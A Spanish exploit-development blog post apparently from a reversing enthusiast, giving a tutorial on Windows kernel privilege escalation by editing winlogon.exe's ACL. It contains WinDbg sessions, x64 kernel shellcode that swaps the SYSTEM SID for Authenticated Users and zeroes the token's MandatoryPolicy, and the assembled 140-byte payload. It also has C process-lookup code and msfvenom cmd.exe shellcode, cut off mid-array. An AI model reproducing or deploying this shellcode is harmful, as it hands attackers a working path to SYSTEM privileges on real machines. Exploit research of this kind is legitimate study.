xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



Exploit Development

ACL Editing


Como continuación al post anterior donde para elevar privilegios robabamos el token del proceso SYSTEM y lo copiabamos al actual analizaremos otro método que es anulando la ACL de un proceso del sistema como winlogon.exe para que cualquier usuario tenga Full Control sobre el, aunque en versiones actuales ya no funciona buscaremos una alternativa para hacer algo similar en la última versión


Nulling


Iniciemos analizando la ACL que guarda los privilegios, el proceso que utilizaremos para el shellcode es winlogon.exe, este no tiene un pid fijo pero es un proceso que siempre tendrá privilegios administrativos, con !object podemos obtener el Header

0: kd> !process 0 0 winlogon.exe
PROCESS ffffe20d3e19c080
    SessionId: 1  Cid: 0254    Peb: f901e13000  ParentCid: 01fc
    DirBase: 10bbbf000  ObjectTable: ffff9e8c274a0b00  HandleCount: 281.  
    Image: winlogon.exe

0: kd> !object 0xffffe20d3e19c080
Object: ffffe20d3e19c080  Type: (ffffe20d3acb17a0) Process
    ObjectHeader: ffffe20d3e19c050 (new version)
    HandleCount: 15  PointerCount: 458230

La estructura _OBJECT_HEADER de cada proceso contiene un atributo interesante llamado SecurityDescriptor en el offset 0x28, este atributo contiene la ACL del objeto y esta define quien puede acceder al objeto y con que permisos

0: kd> dt nt!_OBJECT_HEADER 0xffffe20d3e19c050
   +0x000 PointerCount     : 0n458230
   +0x008 HandleCount      : 0n15
   +0x008 NextToFree       : 0x00000000`0000000f Void
   +0x010 Lock             : _EX_PUSH_LOCK
   +0x018 TypeIndex        : 0xde ''
   +0x019 TraceFlags       : 0 ''
   +0x019 DbgRefTrace      : 0y0
   +0x019 DbgTracePermanent : 0y0
   +0x01a InfoMask         : 0x88 ''
   +0x01b Flags            : 0 ''
   +0x01b NewObject        : 0y0
   +0x01b KernelObject     : 0y0
   +0x01b KernelOnlyAccess : 0y0
   +0x01b ExclusiveObject  : 0y0
   +0x01b PermanentObject  : 0y0
   +0x01b DefaultSecurityQuota : 0y0
   +0x01b SingleHandleEntry : 0y0
   +0x01b DeletedInline    : 0y0
   +0x01c Reserved         : 0x8930eb74
   +0x020 ObjectCreateInfo : 0xfffff800`6ae53a40 _OBJECT_CREATE_INFORMATION  
   +0x020 QuotaBlockCharged : 0xfffff800`6ae53a40 Void
   +0x028 SecurityDescriptor : 0xffff9e8c`1fa47e2d Void
   +0x030 Body             : _QUAD

En explotaciones realizadas en versiones antiguas de Windows 10 simplemente podiamos anular el SecurityDescriptor, como resultado si mirabamos con Process Explorer los permisos de un proceso se podia ver de esta forma y al no estar asignado a nadie cualquier usuario tenia Full Control sobre él, sin embargo esto cambió para versiones mas nuevas como explica la siguiente investigación de nettitude

Si en una versión actual de Windows anulamos el SecurityDescriptor el resultado es un BSOD de tipo BAD_OBJECT_HEADER diciendo que tiene un valor inválido

0: kd> eq 0xffffe20d3e19c050 + 0x28 0

0: kd> g
KDTARGET: Refreshing KD connection
*** Fatal System Error: 0x00000189 (0xFFFFE20D3E19C050,0xFFFFE20D416127F0,0x0000000000000001,0x0000000000000000)  

Break instruction exception - code 80000003 (first chance)

A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

nt!DbgBreakPointWithStatus:
fffff803`2a6077a0 cc              int     3

0: kd> !analyze -v
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

BAD_OBJECT_HEADER (189)
The OBJECT_HEADER has been corrupted
Arguments:
Arg1: ffffe20d3e19c050, Pointer to bad OBJECT_HEADER
Arg2: ffffe20d416127f0, Pointer to the resulting OBJECT_TYPE based on the TypeIndex in the OBJECT_HEADER
Arg3: 0000000000000001, The object security descriptor is invalid.
Arg4: 0000000000000000, Reserved.

Lo único que nos queda es buscar una forma de asignar privilegios Full Control sin anularlo, para ello tendremos que entender como funciona el SecurityDescriptor, lo interesante de la estructura _SECURITY_DESCRIPTOR es el atributo Dacl que es una estructura _ACL que especifica el acceso que tienen los usuarios al objeto

0: kd> dt nt!_SECURITY_DESCRIPTOR
   +0x000 Revision         : UChar
   +0x001 Sbz1             : UChar
   +0x002 Control          : Uint2B
   +0x008 Owner            : Ptr64 Void  
   +0x010 Group            : Ptr64 Void  
   +0x018 Sacl             : Ptr64 _ACL  
   +0x020 Dacl             : Ptr64 _ACL  
  
0: kd> dt nt!_ACL
   +0x000 AclRevision      : UChar
   +0x001 Sbz1             : UChar
   +0x002 AclSize          : Uint2B
   +0x004 AceCount         : Uint2B
   +0x006 Sbz2             : Uint2B

Según documentación en realidad el objeto _ACL solo es un Header y el contenido real se encuentra en sus entradas, para una Dacl hay 2 tipos de ACE, estos son ACCESS_ALLOWED_ACE y ACCESS_DENIED_ACE, nos interesa el primero que indica que derechos tiene un SID a través del atributo ACCESS_MASK

typedef struct _ACCESS_ALLOWED_ACE {  
  ACE_HEADER  Header;
  ACCESS_MASK Mask;
  DWORD       SidStart;
} ACCESS_ALLOWED_ACE;

Utilizando el comando !sd podemos pasarle un puntero al SecurityDescriptor antes limpiando el último byte y obtener información de este, este nos muestra detalladamente que usuarios tienen que privilegios, el AceCount de la DACL es 2 lo que significa que contiene 2 ACE y ambos son de tipo ACCESS_ALLOWED_ACE, uno es para nt authority\system y el otro para el grupo builtin\administradores

0: kd> !sd (0xffff9e8c1fa47e2d & 0xfffffffffffffff0) 1
->Revision: 0x1
->Sbz1    : 0x0
->Control : 0x8814
            SE_DACL_PRESENT
            SE_SACL_PRESENT
            SE_SACL_AUTO_INHERITED
            SE_SELF_RELATIVE
->Owner   : S-1-5-32-544 (Alias: BUILTIN\Administradores)
->Group   : S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM)
->Dacl    : 
->Dacl    : ->AclRevision: 0x2
->Dacl    : ->Sbz1       : 0x0
->Dacl    : ->AclSize    : 0x3c
->Dacl    : ->AceCount   : 0x2
->Dacl    : ->Sbz2       : 0x0
->Dacl    : ->Ace[0]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl    : ->Ace[0]: ->AceFlags: 0x0
->Dacl    : ->Ace[0]: ->AceSize: 0x14
->Dacl    : ->Ace[0]: ->Mask : 0x001fffff
->Dacl    : ->Ace[0]: ->SID: S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM)

->Dacl    : ->Ace[1]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl    : ->Ace[1]: ->AceFlags: 0x0
->Dacl    : ->Ace[1]: ->AceSize: 0x18
->Dacl    : ->Ace[1]: ->Mask : 0x00121411
->Dacl    : ->Ace[1]: ->SID: S-1-5-32-544 (Alias: BUILTIN\Administradores)

->Sacl    : 
->Sacl    : ->AclRevision: 0x2
->Sacl    : ->Sbz1       : 0x0
->Sacl    : ->AclSize    : 0x1c
->Sacl    : ->AceCount   : 0x1
->Sacl    : ->Sbz2       : 0x0
->Sacl    : ->Ace[0]: ->AceType: SYSTEM_MANDATORY_LABEL_ACE_TYPE
->Sacl    : ->Ace[0]: ->AceFlags: 0x0
->Sacl    : ->Ace[0]: ->AceSize: 0x14
->Sacl    : ->Ace[0]: ->Mask : 0x00000003
->Sacl    : ->Ace[0]: ->SID: S-1-16-16384 (Label: Etiqueta obligatoria\Nivel obligatorio del sistema)  

Esto podemos verlo graficamente desde Process Explorer donde nt authority\system tiene privilegios Full Control, la forma que usaremos para tener este acceso será modificar el SID de SYSTEM para asignar estos privilegios a otro grupo con menos privilegios con el que podamos acceder por ejemplo Usuarios autenticados


Shellcode


El plan es cambiar el byte del SID desde un shellcode, para ello necesitaremos obtener la dirección del proceso actual para recorrer la lista enlazada hasta encontrar el proceso de winlogon.exe, según documentación la función PsGetCurrentProcess deberia devolver un puntero al EPROCESS actual que usaremos como base

0: kd> u nt!PsGetCurrentProcess L3  
nt!PsGetCurrentProcess:
fffff807`04086700 65488b042588010000 mov   rax,qword ptr gs:[188h]
fffff807`04086709 488b80b8000000     mov   rax,qword ptr [rax+0B8h]
fffff807`04086710 c3                 ret

0: kd> dqs gs:[0x188] L1
002b:00000000`00000188  ffff8688`a5cdf080

Iniciemos con la escritura del shellcode, las instrucciones de PsGetCurrentProcess nos servirán para obtener la dirección del proceso actual y después lo guardamos en rbx

global _start

_start:
    mov rdx, [gs:0x188]              ; $rdx = _KTHREAD
    mov rax, [rdx + 0xb8]            ; $rax = _EPROCESS  
    mov rbx, rax                     ; $rbx = _EPROCESS  

Un elemento interesante de _EPROCESS es el campo ActiveProcessLinks que es una estructura _LIST_ENTRY, esta es una lista doblemente enlazada que quiere decir que cada elemento apunta al anterior y siguiente elemento, esta lista se encarga del registro de los procesos activos por lo que deberiamos encontrar a winlogon.exe

0: kd> dt nt!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x438 ProcessLock      : _EX_PUSH_LOCK
   +0x440 UniqueProcessId  : Ptr64 Void
   +0x448 ActiveProcessLinks : _LIST_ENTRY
   +0x458 RundownProtect   : _EX_RUNDOWN_REF
   +0x460 Flags2           : Uint4B

0: kd> dt nt!_LIST_ENTRY
   +0x000 Flink            : Ptr64 _LIST_ENTRY  
   +0x008 Blink            : Ptr64 _LIST_ENTRY  

En el offset 0x5a8 de _EPROCESS encontramos un atributo ImageFileName, este contiene el nombre del proceso en ascii, será util para localizar el proceso

0: kd> dt nt!_EPROCESS 0xffffe20d3e19c080 ImageFileName  
   +0x5a8 ImageFileName : [15]  "winlogon.exe"

Podemos escribir un bucle que se encargue de recorrer la lista enlazada y comparar la cadena winlogon guardada en rcx con el valor en el offset 0x5a8, cuando la comparación sea exitosa significa que ha encontrado el proceso winlogon.exe

    .loop:
        mov rbx, [rbx + 0x448]              ; $rbx = ActiveProcessLinks
        sub rbx, 0x448                      ; $rbx = _EPROCESS
        mov rcx, 0x6e6f676f6c6e6977         ; $rcx = "winlogon"
        cmp qword [rbx + 0x5a8], rcx        ; ImageFileName == "winlogon"  
        jnz .loop

Según la estructura _SECURITY_DESCRIPTOR la estructura _ACL de Dacl se encuentra en el offset 0x20 sin embargo los valores que obtenemos son incorrectos pero si usamos un offset de 0x30 obtenemos los valores reales, esto es bastante curioso y probablemente se deba a que los simbolos no estan actualizados en windbg

0: kd> dt nt!_SECURITY_DESCRIPTOR
   +0x000 Revision         : UChar
   +0x001 Sbz1             : UChar
   +0x002 Control          : Uint2B
   +0x008 Owner            : Ptr64 Void
   +0x010 Group            : Ptr64 Void
   +0x018 Sacl             : Ptr64 _ACL
   +0x020 Dacl             : Ptr64 _ACL

0: kd> dt nt!_ACL 0xffff9e8c1fa47e20 + 0x20  
   +0x000 AclRevision      : 0x3 ''
   +0x001 Sbz1             : 0 ''
   +0x002 AclSize          : 0
   +0x004 AceCount         : 0x101
   +0x006 Sbz2             : 0

0: kd> dt nt!_ACL 0xffff9e8c1fa47e20 + 0x30
   +0x000 AclRevision      : 0x2 ''
   +0x001 Sbz1             : 0 ''
   +0x002 AclSize          : 0x3c
   +0x004 AceCount         : 2
   +0x006 Sbz2             : 0

El Header de la ACL ocupa 8 bytes, seguido de los ACE donde cada uno comienza con una estructura _ACE_HEADER que si sumamos sus valores pesa 4 bytes

typedef struct _ACE_HEADER {  
  UCHAR  AceType;
  UCHAR  AceFlags;
  USHORT AceSize;
} ACE_HEADER;

Si realizamos un volcado hexadecimal podemos ver esos 12 bytes de antes y el siguiente dword pertenece a Mask que en este caso es 0x1fffff, esto nos dice que el SID inicia en el offset 0x40, en el offset 0x41 podemos ver el byte 0x1, en el offset 0x47 el byte 0x5 y finalmente en el offset 0x48 el byte 0x12, si pasamos los valores a decimal coincide con el SID S-1-5-18 que pertenece a SYSTEM

0: kd> db 0xffff9e8c1fa47e20 + 0x30
ffff9e8c`1fa47e50  02 00 3c 00 02 00 00 00-00 00 14 00 ff ff 1f 00  ..<.............  
ffff9e8c`1fa47e60  01 01 00 00 00 00 00 05-12 00 00 00 00 00 18 00  ................  
ffff9e8c`1fa47e70  11 14 12 00 01 02 00 00-00 00 00 05 20 00 00 00  ............ ...  
ffff9e8c`1fa47e80  20 02 00 00 00 00 00 00-00 00 00 00 01 02 00 00   ...............  
ffff9e8c`1fa47e90  00 00 00 05 20 00 00 00-20 02 00 00 01 01 00 00  .... ... .......  
ffff9e8c`1fa47ea0  00 00 00 05 12 00 00 00-bd ba 00 00 01 bb 00 00  ................  
ffff9e8c`1fa47eb0  a2 bb 00 00 19 bd 00 00-64 7d 02 00 e9 7d 02 00  ........d}...}..  
ffff9e8c`1fa47ec0  24 be 00 00 6b be 00 00-a4 7e 02 00 4d bf 00 00  $...k....~..M...  

Entonces la idea es simple, cambiar ese byte 0x12 o 18 en decimal por 0xb o 11 en decimal, el SID ahora tendra el valor S-1-5-11 que segun documentación pertenece a Usuarios autenticados donde deberiamos pertenecer en teoría

0: kd> db 0xffff9e8c1fa47e20 + 0x48 L1
ffff9e8c`1fa47e68  12

0: kd> eb 0xffff9e8c1fa47e20 + 0x48 0xb  

Luego de modificar el valor podemos usar nuevamente !sd para ver los valores y el grupo Usuarios autenticados tiene los privilegios que antes tenía SYSTEM

0: kd> !sd (0xffff9e8c1fa47e2d & 0xfffffffffffffff0) 1
->Revision: 0x1
->Sbz1    : 0x0
->Control : 0x8814
            SE_DACL_PRESENT
            SE_SACL_PRESENT
            SE_SACL_AUTO_INHERITED
            SE_SELF_RELATIVE
->Owner   : S-1-5-32-544 (Alias: BUILTIN\Administradores)
->Group   : S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM)
->Dacl    : 
->Dacl    : ->AclRevision: 0x2
->Dacl    : ->Sbz1       : 0x0
->Dacl    : ->AclSize    : 0x3c
->Dacl    : ->AceCount   : 0x2
->Dacl    : ->Sbz2       : 0x0
->Dacl    : ->Ace[0]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl    : ->Ace[0]: ->AceFlags: 0x0
->Dacl    : ->Ace[0]: ->AceSize: 0x14
->Dacl    : ->Ace[0]: ->Mask : 0x001fffff
->Dacl    : ->Ace[0]: ->SID: S-1-5-11 (Well Known Group: NT AUTHORITY\Usuarios autentificados)

->Dacl    : ->Ace[1]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl    : ->Ace[1]: ->AceFlags: 0x0
->Dacl    : ->Ace[1]: ->AceSize: 0x18
->Dacl    : ->Ace[1]: ->Mask : 0x00121411
->Dacl    : ->Ace[1]: ->SID: S-1-5-32-544 (Alias: BUILTIN\Administradores)

->Sacl    : 
->Sacl    : ->AclRevision: 0x2
->Sacl    : ->Sbz1       : 0x0
->Sacl    : ->AclSize    : 0x1c
->Sacl    : ->AceCount   : 0x1
->Sacl    : ->Sbz2       : 0x0
->Sacl    : ->Ace[0]: ->AceType: SYSTEM_MANDATORY_LABEL_ACE_TYPE
->Sacl    : ->Ace[0]: ->AceFlags: 0x0
->Sacl    : ->Ace[0]: ->AceSize: 0x14
->Sacl    : ->Ace[0]: ->Mask : 0x00000003
->Sacl    : ->Ace[0]: ->SID: S-1-16-16384 (Label: Etiqueta obligatoria\Nivel obligatorio del sistema)  

Si lo vemos ahora desde Process Explorer nos refleja los permisos Full Control

Desde nuestro código se ve de la siguiente forma, guardamos el SecurityDescriptor de winlogon.exe limpiando el ultimo byte y en el offset 0x48 escribimos el byte 0xb

    mov rcx, [rbx - 0x8]                    ; $rcx = SecurityDescriptor  
    and cl, 0xf0                            ; Clear last byte
    mov byte [rcx + 0x48], 0xb              ; Authenticated Users

Luego de modificar la ACL de winlogon.exe el siguiente paso seria crear un hilo y ejecutar un shellcode en modo usuario con privilegios de SYSTEM, sin embargo al intentarlo obtenemos un error 5 de acceso denegado, esto se debe a que winlogon.exe se ejecuta en un nivel de integridad mas alto que exploit.exe

C:\Users\user\Desktop> exploit.exe
[-] Error opening winlogon process: 5  

Afortunadamente el problema no viene de winlogon.exe sino de nuestro proceso, especificamente del token, este se encuentra en el offset 0x4b8 del proceso

0: kd> !process 0 0 exploit.exe
PROCESS ffff9a8e030ef080
    SessionId: 1  Cid: 1d88    Peb: c93d1dd000  ParentCid: 08fc
    DirBase: 071b0000  ObjectTable: ffffc60ba6d3ef00  HandleCount:  47.  
    Image: exploit.exe

0: kd> dt nt!_EPROCESS ffff9a8e030ef080 Token
   +0x4b8 Token : _EX_FAST_REF

Limpiando el ultimo byte podemos mostrar los atributos de la estructura _TOKEN que pertenece al proceso actual, el campo que nos da problemas esta en el offset 0xd4 y es MandatoryPolicy el cual tiene un valor asignado de 3 que ahora analizaremos

0: kd> dt nt!_TOKEN (poi(0xffff9a8e030ef080 + 0x4b8) & 0xfffffffffffffff0)  
   +0x000 TokenSource      : _TOKEN_SOURCE
   +0x010 TokenId          : _LUID
   +0x018 AuthenticationId : _LUID
   +0x020 ParentTokenId    : _LUID
   +0x028 ExpirationTime   : _LARGE_INTEGER 0x7fffffff`ffffffff
   +0x030 TokenLock        : 0xffff9a8e`03179b90 _ERESOURCE
   +0x038 ModifiedId       : _LUID
   +0x040 Privileges       : _SEP_TOKEN_PRIVILEGES
   +0x058 AuditPolicy      : _SEP_AUDIT_POLICY
   +0x078 SessionId        : 1
   +0x07c UserAndGroupCount : 0xf
   +0x080 RestrictedSidCount : 0
   +0x084 VariableLength   : 0x1e0
   +0x088 DynamicCharged   : 0x1000
   +0x08c DynamicAvailable : 0
   +0x090 DefaultOwnerIndex : 0
   +0x098 UserAndGroups    : 0xffffc60b`a1a534f0 _SID_AND_ATTRIBUTES
   +0x0a0 RestrictedSids   : (null) 
   +0x0a8 PrimaryGroup     : 0xffffc60b`a842fa70 Void
   +0x0b0 DynamicPart      : 0xffffc60b`a842fa70  -> 0x501
   +0x0b8 DefaultDacl      : 0xffffc60b`a842fa8c _ACL
   +0x0c0 TokenType        : 1 ( TokenPrimary )
   +0x0c4 ImpersonationLevel : 0 ( SecurityAnonymous )
   +0x0c8 TokenFlags       : 0x2a00
   +0x0cc TokenInUse       : 0x1 ''
   +0x0d0 IntegrityLevelIndex : 0xe
   +0x0d4 MandatoryPolicy  : 3

Segun documentación el valor 3 es una combinación de los 2 anteriores, el 1 nos dice que el proceso no puede escribir en proceso con un mayor nivel de integridad, afortunadamente podemos establecerlo en 0 para que no aplique ninguna directiva

Desde el shellcode podemos tomar el token del proceso actual, limpiamos el ultimo byte y finalmente modificamos el byte en el offset 0xd4 por 0x0 anulandolo

    mov rcx, [rax + 0x4b8]                  ; $rax = Process token  
    and cl, 0xf0                            ; clear last byte
    mov byte [rcx + 0xd4], 0x0              ; MandatoryPolicy

Hasta ahora nuestro shellcode se ve de esta forma, sin embargo aún tenemos un problema y es la salida de forma correcta donde tenemos varias opciones

global _start

_start:
    mov rdx, [gs:0x188]                     ; $rdx = _KTHREAD
    mov rax, [rdx + 0xb8]                   ; $rax = _EPROCESS
    mov rbx, rax                            ; $rbx = _EPROCESS

    .loop:
        mov rbx, [rbx + 0x448]              ; $rbx = ActiveProcessLinks
        sub rbx, 0x448                      ; $rbx = _EPROCESS
        mov rcx, 0x6e6f676f6c6e6977         ; $rcx = "winlogon"
        cmp qword [rbx + 0x5a8], rcx        ; ImageFileName == "winlogon"  
        jnz .loop                           ; if zf == 0 -> loop

    mov rcx, [rbx - 0x8]                    ; $rcx = SecurityDescriptor
    and cl, 0xf0                            ; Clear last byte
    mov byte [rcx + 0x48], 0xb              ; Authenticated Users

    mov rcx, [rax + 0x4b8]                  ; $rax = Process token
    and cl, 0xf0                            ; clear last byte
    mov byte [rcx + 0xd4], 0x0              ; MandatoryPolicy

    xor rax, rax                            ; $rax = STATUS SUCCESS
    ret                                     ; return


Cleanup


En lugar complicarnos intentando restaurar la pila podemos volver al modo de usuario, esto se explicó en el post anterior y consiste en restaurar los registros desde la estructura TrapFrame a como nos conviene para posteriormente intercambiar el segmento gs y ejecutar el sysret para volver al modo de usuario, no sin antes establecer el valor de retorno en eax a 0 indicando que ha vuelto correctamente

    mov rdx, [rdx + 0x90]                   ; $rdx = ETHREAD.TrapFrame
    mov rbp, [rdx + 0x158]                  ; $rbp = ETHREAD.TrapFrame.Rbp
    mov rcx, [rdx + 0x168]                  ; $rcx = ETHREAD.TrapFrame.Rip
    mov r11, [rdx + 0x178]                  ; $r11 = ETHREAD.TrapFrame.EFlags  
    mov rsp, [rdx + 0x180]                  ; $rsp = ETHREAD.TrapFrame.Rsp

    xor eax, eax                            ; $eax = STATUS SUCCESS
    swapgs                                  ; swap gs segment
    o64 sysret                              ; return to usermode

Tambien será necesario modificar el valor de KernelApcDisable para evitar un BSOD igualmente analizado un poco mas a detalle en una parte del post anterior

    mov cx, [rdx + 0x1e4]                   ; $cx = KernelApcDisable  
    inc cx                                  ; fix value
    mov [rdx + 0x1e4], cx                   ; restore value

Resumiendo, nuestro shellcode busca el proceso winlogon.exe para modificar su ACL de forma que se asignen al grupo Usuarios autenticados los privilegios de System, luego se anulan las directivas de integridad y retorna con sysret

global _start

_start:
    mov rdx, [gs:0x188]                     ; $rdx = _KTHREAD
    mov rax, [rdx + 0xb8]                   ; $rax = _EPROCESS
    mov rbx, rax                            ; $rbx = _EPROCESS

    .loop:
        mov rbx, [rbx + 0x448]              ; $rbx = ActiveProcessLinks
        sub rbx, 0x448                      ; $rbx = _EPROCESS
        mov rcx, 0x6e6f676f6c6e6977         ; $rcx = "winlogon"
        cmp qword [rbx + 0x5a8], rcx        ; ImageFileName == "winlogon"
        jnz .loop                           ; if zf == 0 -> loop

    mov rcx, [rbx - 0x8]                    ; $rcx = SecurityDescriptor
    and cl, 0xf0                            ; Clear last byte
    mov byte [rcx + 0x48], 0xb              ; Authenticated Users

    mov rcx, [rax + 0x4b8]                  ; $rax = Process token
    and cl, 0xf0                            ; clear last byte
    mov byte [rcx + 0xd4], 0x0              ; MandatoryPolicy

    mov cx, [rdx + 0x1e4]                   ; $cx = KernelApcDisable
    inc cx                                  ; fix value
    mov [rdx + 0x1e4], cx                   ; restore value

    mov rdx, [rdx + 0x90]                   ; $rdx = ETHREAD.TrapFrame
    mov rbp, [rdx + 0x158]                  ; $rbp = ETHREAD.TrapFrame.Rbp
    mov rcx, [rdx + 0x168]                  ; $rcx = ETHREAD.TrapFrame.Rip
    mov r11, [rdx + 0x178]                  ; $r11 = ETHREAD.TrapFrame.EFlags  
    mov rsp, [rdx + 0x180]                  ; $rsp = ETHREAD.TrapFrame.Rsp

    xor eax, eax                            ; $eax = STATUS SUCCESS
    swapgs                                  ; swap gs segment
    o64 sysret                              ; return to usermode

Podemos compilarlo con nasm y pasarlo al formato que necesitamos para nuestro exploit, en total nuestro shellcode pesa un total de 140 bytes que es bastante bueno

❯ nasm -f elf64 shellcode.asm -o shellcode.o; ld shellcode.o -m elf_x86_64 -o shellcode

❯ objdump -d shellcode | grep '[0-9a-f]:' | grep -v 'shellcode' | cut -f2 -d: | cut -f1-7 -d ' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /, 0x/g' | paste -d '' -s | sed 's/^, //g'
0x65, 0x48, 0x8b, 0x14, 0x25, 0x88, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x82, 0xb8, 0x00, 0x00, 0x00, 0x48, 0x89, 0xc3, 0x48, 0x8b, 0x9b, 0x48, 0x04, 0x00, 0x00, 0x48, 0x81, 0xeb, 0x48, 0x04, 0x00, 0x00, 0x48, 0xb9, 0x77, 0x69, 0x6e, 0x6c, 0x6f, 0x67, 0x6f, 0x6e, 0x48, 0x39, 0x8b, 0xa8, 0x05, 0x00, 0x00, 0x75, 0xdf, 0x48, 0x8b, 0x4b, 0xf8, 0x80, 0xe1, 0xf0, 0xc6, 0x41, 0x48, 0x0b, 0x48, 0x8b, 0x88, 0xb8, 0x04, 0x00, 0x00, 0x80, 0xe1, 0xf0, 0xc6, 0x81, 0xd4, 0x00, 0x00, 0x00, 0x00, 0x66, 0x8b, 0x8a, 0xe4, 0x01, 0x00, 0x00, 0x66, 0xff, 0xc1, 0x66, 0x89, 0x8a, 0xe4, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x92, 0x90, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xaa, 0x58, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x8a, 0x68, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0x9a, 0x78, 0x01, 0x00, 0x00, 0x48, 0x8b, 0xa2, 0x80, 0x01, 0x00, 0x00, 0x31, 0xc0, 0x0f, 0x01, 0xf8, 0x48, 0x0f, 0x07  


Usage


Su uso en un exploit real inicia por definir el shellcode como un array de bytes

BYTE acl_editing[140] = {
    0x65, 0x48, 0x8b, 0x14, 0x25, 0x88, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x82,  
    0xb8, 0x00, 0x00, 0x00, 0x48, 0x89, 0xc3, 0x48, 0x8b, 0x9b, 0x48, 0x04,  
    0x00, 0x00, 0x48, 0x81, 0xeb, 0x48, 0x04, 0x00, 0x00, 0x48, 0xb9, 0x77,  
    0x69, 0x6e, 0x6c, 0x6f, 0x67, 0x6f, 0x6e, 0x48, 0x39, 0x8b, 0xa8, 0x05,  
    0x00, 0x00, 0x75, 0xdf, 0x48, 0x8b, 0x4b, 0xf8, 0x80, 0xe1, 0xf0, 0xc6,  
    0x41, 0x48, 0x0b, 0x48, 0x8b, 0x88, 0xb8, 0x04, 0x00, 0x00, 0x80, 0xe1,  
    0xf0, 0xc6, 0x81, 0xd4, 0x00, 0x00, 0x00, 0x00, 0x66, 0x8b, 0x8a, 0xe4,  
    0x01, 0x00, 0x00, 0x66, 0xff, 0xc1, 0x66, 0x89, 0x8a, 0xe4, 0x01, 0x00,  
    0x00, 0x48, 0x8b, 0x92, 0x90, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xaa, 0x58,  
    0x01, 0x00, 0x00, 0x48, 0x8b, 0x8a, 0x68, 0x01, 0x00, 0x00, 0x4c, 0x8b,  
    0x9a, 0x78, 0x01, 0x00, 0x00, 0x48, 0x8b, 0xa2, 0x80, 0x01, 0x00, 0x00,  
    0x31, 0xc0, 0x0f, 0x01, 0xf8, 0x48, 0x0f, 0x07  
};

Luego de modificar los privilegios de winlogon.exe necesitaremos obtener su PID para crear un hilo a partir de el, para ello podemos escribir la siguiente función

DWORD FindProcessId(const wchar_t *processName) {
    PROCESSENTRY32 processInfo;
    processInfo.dwSize = sizeof(processInfo);

    HANDLE processesSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);  
    if (processesSnapshot == INVALID_HANDLE_VALUE) {
        return 0;
    }

    Process32First(processesSnapshot, &processInfo);
    if (!wcscmp(processName, processInfo.szExeFile)) {
        CloseHandle(processesSnapshot);
        return processInfo.th32ProcessID;
    }

    while (Process32Next(processesSnapshot, &processInfo)) {
        if (!wcscmp(processName, processInfo.szExeFile)) {
            CloseHandle(processesSnapshot);
            return processInfo.th32ProcessID;
        }
    }

    CloseHandle(processesSnapshot);
    return 0;
}

Además necesitaremos un shellcode que nos ejecute una cmd.exe, este se ejecutará en modo de usuario con privilegios de System, podemos crearlo con msfvenom

❯ msfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=none -f csharp  

BYTE cmd[275] = {
    0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
    0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
    0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
    0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
    0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
    0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
    0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
    0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
    0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
    0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
    0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
    0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
    0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
    0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
    0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
    0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
    0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
    0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
    0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
    0xbb, 0xaa, 0xc5, 0xe2, 0x5d, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
